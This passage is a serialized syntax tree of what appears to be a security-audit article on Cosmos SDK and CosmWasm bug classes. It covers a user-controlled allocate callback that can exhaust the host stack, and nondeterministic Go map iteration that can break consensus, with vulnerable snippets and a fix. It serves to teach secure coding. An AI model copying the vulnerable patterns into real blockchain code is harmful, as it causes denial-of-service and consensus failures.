VmResult",{"type":23,"tag":230,"props":78688,"children":78689},{"style":274},[78690],{"type":29,"value":8143},{"type":23,"tag":230,"props":78692,"children":78693},{"style":676},[78694],{"type":29,"value":78695},"u32",{"type":23,"tag":230,"props":78697,"children":78698},{"style":274},[78699],{"type":29,"value":9617},{"type":23,"tag":230,"props":78701,"children":78702},{"class":232,"line":334},[78703,78707,78712,78716,78721,78725,78729,78733,78737,78741,78745],{"type":23,"tag":230,"props":78704,"children":78705},{"style":256},[78706],{"type":29,"value":5340},{"type":23,"tag":230,"props":78708,"children":78709},{"style":262},[78710],{"type":29,"value":78711}," out_size",{"type":23,"tag":230,"props":78713,"children":78714},{"style":268},[78715],{"type":29,"value":271},{"type":23,"tag":230,"props":78717,"children":78718},{"style":294},[78719],{"type":29,"value":78720}," to_u32",{"type":23,"tag":230,"props":78722,"children":78723},{"style":274},[78724],{"type":29,"value":302},{"type":23,"tag":230,"props":78726,"children":78727},{"style":262},[78728],{"type":29,"value":10702},{"type":23,"tag":230,"props":78730,"children":78731},{"style":268},[78732],{"type":29,"value":312},{"type":23,"tag":230,"props":78734,"children":78735},{"style":294},[78736],{"type":29,"value":11471},{"type":23,"tag":230,"props":78738,"children":78739},{"style":274},[78740],{"type":29,"value":43731},{"type":23,"tag":230,"props":78742,"children":78743},{"style":268},[78744],{"type":29,"value":5494},{"type":23,"tag":230,"props":78746,"children":78747},{"style":274},[78748],{"type":29,"value":511},{"type":23,"tag":230,"props":78750,"children":78751},{"class":232,"line":371},[78752,78756,78760,78764,78768,78772,78777,78781,78785,78789,78793,78797,78802,78806,78810,78815,78819],{"type":23,"tag":230,"props":78753,"children":78754},{"style":256},[78755],{"type":29,"value":5340},{"type":23,"tag":230,"props":78757,"children":78758},{"style":262},[78759],{"type":29,"value":11492},{"type":23,"tag":230,"props":78761,"children":78762},{"style":268},[78763],{"type":29,"value":271},{"type":23,"tag":230,"props":78765,"children":78766},{"style":262},[78767],{"type":29,"value":44725},{"type":23,"tag":230,"props":78769,"children":78770},{"style":268},[78771],{"type":29,"value":312},{"type":23,"tag":230,"props":78773,"children":78774},{"style":294},[78775],{"type":29,"value":78776},"call_function1",{"type":23,"tag":230,"props":78778,"children":78779},{"style":274},[78780],{"type":29,"value":302},{"type":23,"tag":230,"props":78782,"children":78783},{"style":380},[78784],{"type":29,"value":78507},{"type":23,"tag":230,"props":78786,"children":78787},{"style":274},[78788],{"type":29,"value":684},{"type":23,"tag":230,"props":78790,"children":78791},{"style":268},[78792],{"type":29,"value":5448},{"type":23,"tag":230,"props":78794,"children":78795},{"style":274},[78796],{"type":29,"value":6069},{"type":23,"tag":230,"props":78798,"children":78799},{"style":262},[78800],{"type":29,"value":78801},"out_size",{"type":23,"tag":230,"props":78803,"children":78804},{"style":268},[78805],{"type":29,"value":312},{"type":23,"tag":230,"props":78807,"children":78808},{"style":294},[78809],{"type":29,"value":17211},{"type":23,"tag":230,"props":78811,"children":78812},{"style":274},[78813],{"type":29,"value":78814},"()])",{"type":23,"tag":230,"props":78816,"children":78817},{"style":268},[78818],{"type":29,"value":5494},{"type":23,"tag":230,"props":78820,"children":78821},{"style":274},[78822],{"type":29,"value":511},{"type":23,"tag":230,"props":78824,"children":78825},{"class":232,"line":391},[78826,78830,78835,78839,78844,78848,78852,78856,78860,78864],{"type":23,"tag":230,"props":78827,"children":78828},{"style":256},[78829],{"type":29,"value":5340},{"type":23,"tag":230,"props":78831,"children":78832},{"style":262},[78833],{"type":29,"value":78834}," target_ptr",{"type":23,"tag":230,"props":78836,"children":78837},{"style":268},[78838],{"type":29,"value":271},{"type":23,"tag":230,"props":78840,"children":78841},{"style":294},[78842],{"type":29,"value":78843}," ref_to_u32",{"type":23,"tag":230,"props":78845,"children":78846},{"style":274},[78847],{"type":29,"value":302},{"type":23,"tag":230,"props":78849,"children":78850},{"style":268},[78851],{"type":29,"value":5448},{"type":23,"tag":230,"props":78853,"children":78854},{"style":262},[78855],{"type":29,"value":11415},{"type":23,"tag":230,"props":78857,"children":78858},{"style":274},[78859],{"type":29,"value":5467},{"type":23,"tag":230,"props":78861,"children":78862},{"style":268},[78863],{"type":29,"value":5494},{"type":23,"tag":230,"props":78865,"children":78866},{"style":274},[78867],{"type":29,"value":511},{"type":23,"tag":230,"props":78869,"children":78870},{"class":232,"line":400},[78871,78875,78879,78883,78887],{"type":23,"tag":230,"props":78872,"children":78873},{"style":866},[78874],{"type":29,"value":1493},{"type":23,"tag":230,"props":78876,"children":78877},{"style":262},[78878],{"type":29,"value":78834},{"type":23,"tag":230,"props":78880,"children":78881},{"style":268},[78882],{"type":29,"value":5621},{"type":23,"tag":230,"props":78884,"children":78885},{"style":5149},[78886],{"type":29,"value":5386},{"type":23,"tag":230,"props":78888,"children":78889},{"style":274},[78890],{"type":29,"value":277},{"type":23,"tag":230,"props":78892,"children":78893},{"class":232,"line":444},[78894,78898,78902,78906,78911,78915,78920,78924,78928,78932],{"type":23,"tag":230,"props":78895,"children":78896},{"style":866},[78897],{"type":29,"value":3554},{"type":23,"tag":230,"props":78899,"children":78900},{"style":676},[78901],{"type":29,"value":18073},{"type":23,"tag":230,"props":78903,"children":78904},{"style":274},[78905],{"type":29,"value":302},{"type":23,"tag":230,"props":78907,"children":78908},{"style":676},[78909],{"type":29,"value":78910},"CommunicationError",{"type":23,"tag":230,"props":78912,"children":78913},{"style":268},[78914],{"type":29,"value":5818},{"type":23,"tag":230,"props":78916,"children":78917},{"style":294},[78918],{"type":29,"value":78919},"zero_address",{"type":23,"tag":230,"props":78921,"children":78922},{"style":274},[78923],{"type":29,"value":16206},{"type":23,"tag":230,"props":78925,"children":78926},{"style":268},[78927],{"type":29,"value":312},{"type":23,"tag":230,"props":78929,"children":78930},{"style":294},[78931],{"type":29,"value":17211},{"type":23,"tag":230,"props":78933,"children":78934},{"style":274},[78935],{"type":29,"value":17749},{"type":23,"tag":230,"props":78937,"children":78938},{"class":232,"line":453},[78939],{"type":23,"tag":230,"props":78940,"children":78941},{"style":274},[78942],{"type":29,"value":1552},{"type":23,"tag":230,"props":78944,"children":78945},{"class":232,"line":462},[78946,78951,78955,78959,78963,78967,78971,78975,78980,78984,78988,78992,78996],{"type":23,"tag":230,"props":78947,"children":78948},{"style":294},[78949],{"type":29,"value":78950},"    write_region",{"type":23,"tag":230,"props":78952,"children":78953},{"style":274},[78954],{"type":29,"value":302},{"type":23,"tag":230,"props":78956,"children":78957},{"style":268},[78958],{"type":29,"value":5448},{"type":23,"tag":230,"props":78960,"children":78961},{"style":262},[78962],{"type":29,"value":317},{"type":23,"tag":230,"props":78964,"children":78965},{"style":268},[78966],{"type":29,"value":312},{"type":23,"tag":230,"props":78968,"children":78969},{"style":294},[78970],{"type":29,"value":77751},{"type":23,"tag":230,"props":78972,"children":78973},{"style":274},[78974],{"type":29,"value":1172},{"type":23,"tag":230,"props":78976,"children":78977},{"style":262},[78978],{"type":29,"value":78979},"target_ptr",{"type":23,"tag":230,"props":78981,"children":78982},{"style":274},[78983],{"type":29,"value":684},{"type":23,"tag":230,"props":78985,"children":78986},{"style":262},[78987],{"type":29,"value":10702},{"type":23,"tag":230,"props":78989,"children":78990},{"style":274},[78991],{"type":29,"value":5467},{"type":23,"tag":230,"props":78993,"children":78994},{"style":268},[78995],{"type":29,"value":5494},{"type":23,"tag":230,"props":78997,"children":78998},{"style":274},[78999],{"type":29,"value":511},{"type":23,"tag":230,"props":79001,"children":79002},{"class":232,"line":471},[79003,79007,79011,79015],{"type":23,"tag":230,"props":79004,"children":79005},{"style":676},[79006],{"type":29,"value":16660},{"type":23,"tag":230,"props":79008,"children":79009},{"style":274},[79010],{"type":29,"value":302},{"type":23,"tag":230,"props":79012,"children":79013},{"style":262},[79014],{"type":29,"value":78979},{"type":23,"tag":230,"props":79016,"children":79017},{"style":274},[79018],{"type":29,"value":4516},{"type":23,"tag":230,"props":79020,"children":79021},{"class":232,"line":500},[79022],{"type":23,"tag":230,"props":79023,"children":79024},{"style":274},[79025],{"type":29,"value":975},{"type":23,"tag":32,"props":79027,"children":79028},{},[79029,79031,79037,79039,79044],{"type":29,"value":79030},"As users have complete control over ",{"type":23,"tag":71,"props":79032,"children":79034},{"className":79033},[],[79035],{"type":29,"value":79036},"allocate",{"type":29,"value":79038},", there is a possibility to call back ",{"type":23,"tag":71,"props":79040,"children":79042},{"className":79041},[],[79043],{"type":29,"value":78499},{"type":29,"value":79045}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":32,"props":79047,"children":79048},{},[79049,79051,79058],{"type":29,"value":79050},"Additional real-world examples include ",{"type":23,"tag":181,"props":79052,"children":79055},{"href":79053,"rel":79054},"https://github.com/cosmos/cosmos-sdk/issues/16676",[185],[79056],{"type":29,"value":79057},"not returning proper values for malformed txs",{"type":29,"value":312},{"type":23,"tag":24,"props":79060,"children":79062},{"id":79061},"order-was-the-dream-of-man",[79063],{"type":29,"value":79064},"Order Was the Dream of Man",{"type":23,"tag":32,"props":79066,"children":79067},{},[79068],{"type":29,"value":79069},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":32,"props":79071,"children":79072},{},[79073],{"type":29,"value":79074},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":220,"props":79076,"children":79078},{"code":79077,"language":77943,"meta":7,"className":77944,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[79079],{"type":23,"tag":71,"props":79080,"children":79081},{"__ignoreMap":7},[79082,79115,79122,79151,79188,79217,79238,79250,79287,79295,79302,79309],{"type":23,"tag":230,"props":79083,"children":79084},{"class":232,"line":233},[79085,79089,79094,79098,79102,79106,79110],{"type":23,"tag":230,"props":79086,"children":79087},{"style":256},[79088],{"type":29,"value":35049},{"type":23,"tag":230,"props":79090,"children":79091},{"style":676},[79092],{"type":29,"value":79093}," ObjectMap",{"type":23,"tag":230,"props":79095,"children":79096},{"style":256},[79097],{"type":29,"value":51441},{"type":23,"tag":230,"props":79099,"children":79100},{"style":274},[79101],{"type":29,"value":6069},{"type":23,"tag":230,"props":79103,"children":79104},{"style":676},[79105],{"type":29,"value":1050},{"type":23,"tag":230,"props":79107,"children":79108},{"style":274},[79109],{"type":29,"value":17735},{"type":23,"tag":230,"props":79111,"children":79112},{"style":676},[79113],{"type":29,"value":79114},"string\n",{"type":23,"tag":230,"props":79116,"children":79117},{"class":232,"line":243},[79118],{"type":23,"tag":230,"props":79119,"children":79120},{"emptyLinePlaceholder":18},[79121],{"type":29,"value":459},{"type":23,"tag":230,"props":79123,"children":79124},{"class":232,"line":252},[79125,79129,79134,79138,79143,79147],{"type":23,"tag":230,"props":79126,"children":79127},{"style":256},[79128],{"type":29,"value":78079},{"type":23,"tag":230,"props":79130,"children":79131},{"style":294},[79132],{"type":29,"value":79133}," EmitEntries",{"type":23,"tag":230,"props":79135,"children":79136},{"style":274},[79137],{"type":29,"value":302},{"type":23,"tag":230,"props":79139,"children":79140},{"style":262},[79141],{"type":29,"value":79142},"objectMap",{"type":23,"tag":230,"props":79144,"children":79145},{"style":676},[79146],{"type":29,"value":79093},{"type":23,"tag":230,"props":79148,"children":79149},{"style":274},[79150],{"type":29,"value":827},{"type":23,"tag":230,"props":79152,"children":79153},{"class":232,"line":280},[79154,79158,79162,79166,79170,79174,79179,79184],{"type":23,"tag":230,"props":79155,"children":79156},{"style":866},[79157],{"type":29,"value":5371},{"type":23,"tag":230,"props":79159,"children":79160},{"style":262},[79161],{"type":29,"value":8268},{"type":23,"tag":230,"props":79163,"children":79164},{"style":274},[79165],{"type":29,"value":684},{"type":23,"tag":230,"props":79167,"children":79168},{"style":262},[79169],{"type":29,"value":3856},{"type":23,"tag":230,"props":79171,"children":79172},{"style":268},[79173],{"type":29,"value":78195},{"type":23,"tag":230,"props":79175,"children":79176},{"style":866},[79177],{"type":29,"value":79178}," range",{"type":23,"tag":230,"props":79180,"children":79181},{"style":262},[79182],{"type":29,"value":79183}," objectMap",{"type":23,"tag":230,"props":79185,"children":79186},{"style":274},[79187],{"type":29,"value":277},{"type":23,"tag":230,"props":79189,"children":79190},{"class":232,"line":334},[79191,79195,79199,79204,79208,79213],{"type":23,"tag":230,"props":79192,"children":79193},{"style":262},[79194],{"type":29,"value":28493},{"type":23,"tag":230,"props":79196,"children":79197},{"style":274},[79198],{"type":29,"value":312},{"type":23,"tag":230,"props":79200,"children":79201},{"style":262},[79202],{"type":29,"value":79203},"EventManager",{"type":23,"tag":230,"props":79205,"children":79206},{"style":274},[79207],{"type":29,"value":312},{"type":23,"tag":230,"props":79209,"children":79210},{"style":294},[79211],{"type":29,"value":79212},"EmitEvent",{"type":23,"tag":230,"props":79214,"children":79215},{"style":274},[79216],{"type":29,"value":619},{"type":23,"tag":230,"props":79218,"children":79219},{"class":232,"line":371},[79220,79225,79229,79234],{"type":23,"tag":230,"props":79221,"children":79222},{"style":262},[79223],{"type":29,"value":79224},"            sdk",{"type":23,"tag":230,"props":79226,"children":79227},{"style":274},[79228],{"type":29,"value":312},{"type":23,"tag":230,"props":79230,"children":79231},{"style":294},[79232],{"type":29,"value":79233},"NewEvent",{"type":23,"tag":230,"props":79235,"children":79236},{"style":274},[79237],{"type":29,"value":619},{"type":23,"tag":230,"props":79239,"children":79240},{"class":232,"line":391},[79241,79246],{"type":23,"tag":230,"props":79242,"children":79243},{"style":380},[79244],{"type":29,"value":79245},"                \"MapContext\"",{"type":23,"tag":230,"props":79247,"children":79248},{"style":274},[79249],{"type":29,"value":388},{"type":23,"tag":230,"props":79251,"children":79252},{"class":232,"line":400},[79253,79258,79262,79267,79271,79275,79279,79283],{"type":23,"tag":230,"props":79254,"children":79255},{"style":262},[79256],{"type":29,"value":79257},"                sdk",{"type":23,"tag":230,"props":79259,"children":79260},{"style":274},[79261],{"type":29,"value":312},{"type":23,"tag":230,"props":79263,"children":79264},{"style":294},[79265],{"type":29,"value":79266},"NewAttribute",{"type":23,"tag":230,"props":79268,"children":79269},{"style":274},[79270],{"type":29,"value":302},{"type":23,"tag":230,"props":79272,"children":79273},{"style":262},[79274],{"type":29,"value":73933},{"type":23,"tag":230,"props":79276,"children":79277},{"style":274},[79278],{"type":29,"value":684},{"type":23,"tag":230,"props":79280,"children":79281},{"style":262},[79282],{"type":29,"value":3856},{"type":23,"tag":230,"props":79284,"children":79285},{"style":274},[79286],{"type":29,"value":331},{"type":23,"tag":230,"props":79288,"children":79289},{"class":232,"line":444},[79290],{"type":23,"tag":230,"props":79291,"children":79292},{"style":274},[79293],{"type":29,"value":79294},"            )\n",{"type":23,"tag":230,"props":79296,"children":79297},{"class":232,"line":453},[79298],{"type":23,"tag":230,"props":79299,"children":79300},{"style":274},[79301],{"type":29,"value":70097},{"type":23,"tag":230,"props":79303,"children":79304},{"class":232,"line":462},[79305],{"type":23,"tag":230,"props":79306,"children":79307},{"style":274},[79308],{"type":29,"value":1552},{"type":23,"tag":230,"props":79310,"children":79311},{"class":232,"line":471},[79312],{"type":23,"tag":230,"props":79313,"children":79314},{"style":274},[79315],{"type":29,"value":975},{"type":23,"tag":32,"props":79317,"children":79318},{},[79319],{"type":29,"value":79320},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":5272,"props":79322,"children":79323},{},[79324],{"type":23,"tag":32,"props":79325,"children":79326},{},[79327],{"type":29,"value":79328},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":32,"props":79330,"children":79331},{},[79332,79334,79339],{"type":29,"value":79333},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":71,"props":79335,"children":79337},{"className":79336},[],[79338],{"type":29,"value":68878},{"type":29,"value":79340}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":220,"props":79342,"children":79344},{"code":79343,"language":77943,"meta":7,"className":77944,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[79345],{"type":23,"tag":71,"props":79346,"children":79347},{"__ignoreMap":7},[79348,79379,79386,79413,79433,79460,79496,79503,79532,79539,79574,79601,79620,79631,79675,79682,79689,79696],{"type":23,"tag":230,"props":79349,"children":79350},{"class":232,"line":233},[79351,79355,79359,79363,79367,79371,79375],{"type":23,"tag":230,"props":79352,"children":79353},{"style":256},[79354],{"type":29,"value":35049},{"type":23,"tag":230,"props":79356,"children":79357},{"style":676},[79358],{"type":29,"value":79093},{"type":23,"tag":230,"props":79360,"children":79361},{"style":256},[79362],{"type":29,"value":51441},{"type":23,"tag":230,"props":79364,"children":79365},{"style":274},[79366],{"type":29,"value":6069},{"type":23,"tag":230,"props":79368,"children":79369},{"style":676},[79370],{"type":29,"value":1050},{"type":23,"tag":230,"props":79372,"children":79373},{"style":274},[79374],{"type":29,"value":17735},{"type":23,"tag":230,"props":79376,"children":79377},{"style":676},[79378],{"type":29,"value":79114},{"type":23,"tag":230,"props":79380,"children":79381},{"class":232,"line":243},[79382],{"type":23,"tag":230,"props":79383,"children":79384},{"emptyLinePlaceholder":18},[79385],{"type":29,"value":459},{"type":23,"tag":230,"props":79387,"children":79388},{"class":232,"line":252},[79389,79393,79397,79401,79405,79409],{"type":23,"tag":230,"props":79390,"children":79391},{"style":256},[79392],{"type":29,"value":78079},{"type":23,"tag":230,"props":79394,"children":79395},{"style":294},[79396],{"type":29,"value":79133},{"type":23,"tag":230,"props":79398,"children":79399},{"style":274},[79400],{"type":29,"value":302},{"type":23,"tag":230,"props":79402,"children":79403},{"style":262},[79404],{"type":29,"value":79142},{"type":23,"tag":230,"props":79406,"children":79407},{"style":676},[79408],{"type":29,"value":79093},{"type":23,"tag":230,"props":79410,"children":79411},{"style":274},[79412],{"type":29,"value":827},{"type":23,"tag":230,"props":79414,"children":79415},{"class":232,"line":280},[79416,79421,79425,79429],{"type":23,"tag":230,"props":79417,"children":79418},{"style":256},[79419],{"type":29,"value":79420},"    var",{"type":23,"tag":230,"props":79422,"children":79423},{"style":262},[79424],{"type":29,"value":23694},{"type":23,"tag":230,"props":79426,"children":79427},{"style":274},[79428],{"type":29,"value":78006},{"type":23,"tag":230,"props":79430,"children":79431},{"style":676},[79432],{"type":29,"value":79114},{"type":23,"tag":230,"props":79434,"children":79435},{"class":232,"line":334},[79436,79440,79444,79448,79452,79456],{"type":23,"tag":230,"props":79437,"children":79438},{"style":866},[79439],{"type":29,"value":5371},{"type":23,"tag":230,"props":79441,"children":79442},{"style":262},[79443],{"type":29,"value":8268},{"type":23,"tag":230,"props":79445,"children":79446},{"style":268},[79447],{"type":29,"value":78195},{"type":23,"tag":230,"props":79449,"children":79450},{"style":866},[79451],{"type":29,"value":79178},{"type":23,"tag":230,"props":79453,"children":79454},{"style":262},[79455],{"type":29,"value":79183},{"type":23,"tag":230,"props":79457,"children":79458},{"style":274},[79459],{"type":29,"value":277},{"type":23,"tag":230,"props":79461,"children":79462},{"class":232,"line":371},[79463,79467,79471,79476,79480,79484,79488,79492],{"type":23,"tag":230,"props":79464,"children":79465},{"style":262},[79466],{"type":29,"value":27638},{"type":23,"tag":230,"props":79468,"children":79469},{"style":268},[79470],{"type":29,"value":271},{"type":23,"tag":230,"props":79472,"children":79473},{"style":294},[79474],{"type":29,"value":79475}," append",{"type":23,"tag":230,"props":79477,"children":79478},{"style":274},[79479],{"type":29,"value":302},{"type":23,"tag":230,"props":79481,"children":79482},{"style":262},[79483],{"type":29,"value":23297},{"type":23,"tag":230,"props":79485,"children":79486},{"style":274},[79487],{"type":29,"value":684},{"type":23,"tag":230,"props":79489,"children":79490},{"style":262},[79491],{"type":29,"value":73933},{"type":23,"tag":230,"props":79493,"children":79494},{"style":274},[79495],{"type":29,"value":4516},{"type":23,"tag":230,"props":79497,"children":79498},{"class":232,"line":391},[79499],{"type":23,"tag":230,"props":79500,"children":79501},{"style":274},[79502],{"type":29,"value":1552},{"type":23,"tag":230,"props":79504,"children":79505},{"class":232,"line":400},[79506,79511,79515,79520,79524,79528],{"type":23,"tag":230,"props":79507,"children":79508},{"style":262},[79509],{"type":29,"value":79510},"    sort",{"type":23,"tag":230,"props":79512,"children":79513},{"style":274},[79514],{"type":29,"value":312},{"type":23,"tag":230,"props":79516,"children":79517},{"style":294},[79518],{"type":29,"value":79519},"Strings",{"type":23,"tag":230,"props":79521,"children":79522},{"style":274},[79523],{"type":29,"value":302},{"type":23,"tag":230,"props":79525,"children":79526},{"style":262},[79527],{"type":29,"value":23297},{"type":23,"tag":230,"props":79529,"children":79530},{"style":274},[79531],{"type":29,"value":4516},{"type":23,"tag":230,"props":79533,"children":79534},{"class":232,"line":444},[79535],{"type":23,"tag":230,"props":79536,"children":79537},{"emptyLinePlaceholder":18},[79538],{"type":29,"value":459},{"type":23,"tag":230,"props":79540,"children":79541},{"class":232,"line":453},[79542,79546,79550,79554,79558,79562,79566,79570],{"type":23,"tag":230,"props":79543,"children":79544},{"style":866},[79545],{"type":29,"value":5371},{"type":23,"tag":230,"props":79547,"children":79548},{"style":262},[79549],{"type":29,"value":5376},{"type":23,"tag":230,"props":79551,"children":79552},{"style":274},[79553],{"type":29,"value":684},{"type":23,"tag":230,"props":79555,"children":79556},{"style":262},[79557],{"type":29,"value":73933},{"type":23,"tag":230,"props":79559,"children":79560},{"style":268},[79561],{"type":29,"value":78195},{"type":23,"tag":230,"props":79563,"children":79564},{"style":866},[79565],{"type":29,"value":79178},{"type":23,"tag":230,"props":79567,"children":79568},{"style":262},[79569],{"type":29,"value":23694},{"type":23,"tag":230,"props":79571,"children":79572},{"style":274},[79573],{"type":29,"value":277},{"type":23,"tag":230,"props":79575,"children":79576},{"class":232,"line":462},[79577,79581,79585,79589,79593,79597],{"type":23,"tag":230,"props":79578,"children":79579},{"style":262},[79580],{"type":29,"value":28493},{"type":23,"tag":230,"props":79582,"children":79583},{"style":274},[79584],{"type":29,"value":312},{"type":23,"tag":230,"props":79586,"children":79587},{"style":262},[79588],{"type":29,"value":79203},{"type":23,"tag":230,"props":79590,"children":79591},{"style":274},[79592],{"type":29,"value":312},{"type":23,"tag":230,"props":79594,"children":79595},{"style":294},[79596],{"type":29,"value":79212},{"type":23,"tag":230,"props":79598,"children":79599},{"style":274},[79600],{"type":29,"value":619},{"type":23,"tag":230,"props":79602,"children":79603},{"class":232,"line":471},[79604,79608,79612,79616],{"type":23,"tag":230,"props":79605,"children":79606},{"style":262},[79607],{"type":29,"value":79224},{"type":23,"tag":230,"props":79609,"children":79610},{"style":274},[79611],{"type":29,"value":312},{"type":23,"tag":230,"props":79613,"children":79614},{"style":294},[79615],{"type":29,"value":79233},{"type":23,"tag":230,"props":79617,"children":79618},{"style":274},[79619],{"type":29,"value":619},{"type":23,"tag":230,"props":79621,"children":79622},{"class":232,"line":500},[79623,79627],{"type":23,"tag":230,"props":79624,"children":79625},{"style":380},[79626],{"type":29,"value":79245},{"type":23,"tag":230,"props":79628,"children":79629},{"style":274},[79630],{"type":29,"value":388},{"type":23,"tag":230,"props":79632,"children":79633},{"class":232,"line":514},[79634,79638,79642,79646,79650,79654,79658,79662,79666,79670],{"type":23,"tag":230,"props":79635,"children":79636},{"style":262},[79637],{"type":29,"value":79257},{"type":23,"tag":230,"props":79639,"children":79640},{"style":274},[79641],{"type":29,"value":312},{"type":23,"tag":230,"props":79643,"children":79644},{"style":294},[79645],{"type":29,"value":79266},{"type":23,"tag":230,"props":79647,"children":79648},{"style":274},[79649],{"type":29,"value":302},{"type":23,"tag":230,"props":79651,"children":79652},{"style":262},[79653],{"type":29,"value":73933},{"type":23,"tag":230,"props":79655,"children":79656},{"style":274},[79657],{"type":29,"value":684},{"type":23,"tag":230,"props":79659,"children":79660},{"style":262},[79661],{"type":29,"value":79142},{"type":23,"tag":230,"props":79663,"children":79664},{"style":274},[79665],{"type":29,"value":6069},{"type":23,"tag":230,"props":79667,"children":79668},{"style":262},[79669],{"type":29,"value":73933},{"type":23,"tag":230,"props":79671,"children":79672},{"style":274},[79673],{"type":29,"value":79674},"]),\n",{"type":23,"tag":230,"props":79676,"children":79677},{"class":232,"line":897},[79678],{"type":23,"tag":230,"props":79679,"children":79680},{"style":274},[79681],{"type":29,"value":79294},{"type":23,"tag":230,"props":79683,"children":79684},{"class":232,"line":960},[79685],{"type":23,"tag":230,"props":79686,"children":79687},{"style":274},[79688],{"type":29,"value":70097},{"type":23,"tag":230,"props":79690,"children":79691},{"class":232,"line":969},[79692],{"type":23,"tag":230,"props":79693,"children":79694},{"style":274},[79695],{"type":29,"value":1552},{"type":23,"tag":230,"props":79697,"children":79698},{"class":232,"line":4526},[79699],{"type":23,"tag":230,"props":79700,"children":79701},{"style":274},[79702],{"type":29,"value":975},{"type":23,"tag":32,"props":79704,"children":79705},{},[79706],{"type":29,"value":79707},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":59,"props":79709,"children":79711},{"id":79710},"real-world-examples-1",[79712],{"type":29,"value":78468},{"type":23,"tag":32,"props":79714,"children":79715},{},[79716,79718,79723,79725,79731,79733,79739,79741,79747],{"type":29,"value":79717},"Real-world examples of ",{"type":23,"tag":71,"props":79719,"children":79721},{"className":79720},[],[79722],{"type":29,"value":68878},{"type":29,"value":79724}," causing determinism problems can be found ",{"type":23,"tag":181,"props":79726,"children":79729},{"href":79727,"rel":79728},"https://github.com/cosmos/cosmos-sdk/pull/12487",[185],[79730],{"type":29,"value":49356},{"type":29,"value":79732},", specifically, where the result of ",{"type":23,"tag":71,"props":79734,"children":79736},{"className":79735},[],[79737],{"type":29,"value":79738},"buildCommitInfo",{"type":29,"value":79740}," is inconsistent due to iteration over the ",{"type":23,"tag":71,"props":79742,"children":79744},{"className":79743},[],[79745],{"type":29,"value":79746},"rs.stores",{"type":29,"value":79748}," map.",{"type":23,"tag":32,"props":79750,"children":79751},{},[79752],{"type":23,"tag":181,"props":79753,"children":79756},{"href":79754,"rel":79755},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[185],[79757],{"type":29,"value":78518},{"type":23,"tag":220,"props":79759,"children":79761},{"code":79760,"language":77943,"meta":7,"className":77944,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[79762],{"type":23,"tag":71,"props":79763,"children":79764},{"__ignoreMap":7},[79765,79802,79815,79843,79877,79922,79968,79976,79983,80028,80058,80087,80094,80101,80128,80150,80170,80177],{"type":23,"tag":230,"props":79766,"children":79767},{"class":232,"line":233},[79768,79772,79776,79781,79785,79790,79794,79798],{"type":23,"tag":230,"props":79769,"children":79770},{"style":256},[79771],{"type":29,"value":78079},{"type":23,"tag":230,"props":79773,"children":79774},{"style":274},[79775],{"type":29,"value":664},{"type":23,"tag":230,"props":79777,"children":79778},{"style":262},[79779],{"type":29,"value":79780},"rs ",{"type":23,"tag":230,"props":79782,"children":79783},{"style":268},[79784],{"type":29,"value":6909},{"type":23,"tag":230,"props":79786,"children":79787},{"style":676},[79788],{"type":29,"value":79789},"Store",{"type":23,"tag":230,"props":79791,"children":79792},{"style":274},[79793],{"type":29,"value":703},{"type":23,"tag":230,"props":79795,"children":79796},{"style":294},[79797],{"type":29,"value":79738},{"type":23,"tag":230,"props":79799,"children":79800},{"style":274},[79801],{"type":29,"value":619},{"type":23,"tag":230,"props":79803,"children":79804},{"class":232,"line":243},[79805,79810],{"type":23,"tag":230,"props":79806,"children":79807},{"style":262},[79808],{"type":29,"value":79809},"    version",{"type":23,"tag":230,"props":79811,"children":79812},{"style":676},[79813],{"type":29,"value":79814}," int64\n",{"type":23,"tag":230,"props":79816,"children":79817},{"class":232,"line":252},[79818,79822,79826,79830,79834,79839],{"type":23,"tag":230,"props":79819,"children":79820},{"style":274},[79821],{"type":29,"value":703},{"type":23,"tag":230,"props":79823,"children":79824},{"style":268},[79825],{"type":29,"value":6909},{"type":23,"tag":230,"props":79827,"children":79828},{"style":676},[79829],{"type":29,"value":8095},{"type":23,"tag":230,"props":79831,"children":79832},{"style":274},[79833],{"type":29,"value":312},{"type":23,"tag":230,"props":79835,"children":79836},{"style":676},[79837],{"type":29,"value":79838},"CommitInfo",{"type":23,"tag":230,"props":79840,"children":79841},{"style":274},[79842],{"type":29,"value":277},{"type":23,"tag":230,"props":79844,"children":79845},{"class":232,"line":280},[79846,79851,79855,79859,79863,79867,79872],{"type":23,"tag":230,"props":79847,"children":79848},{"style":262},[79849],{"type":29,"value":79850},"    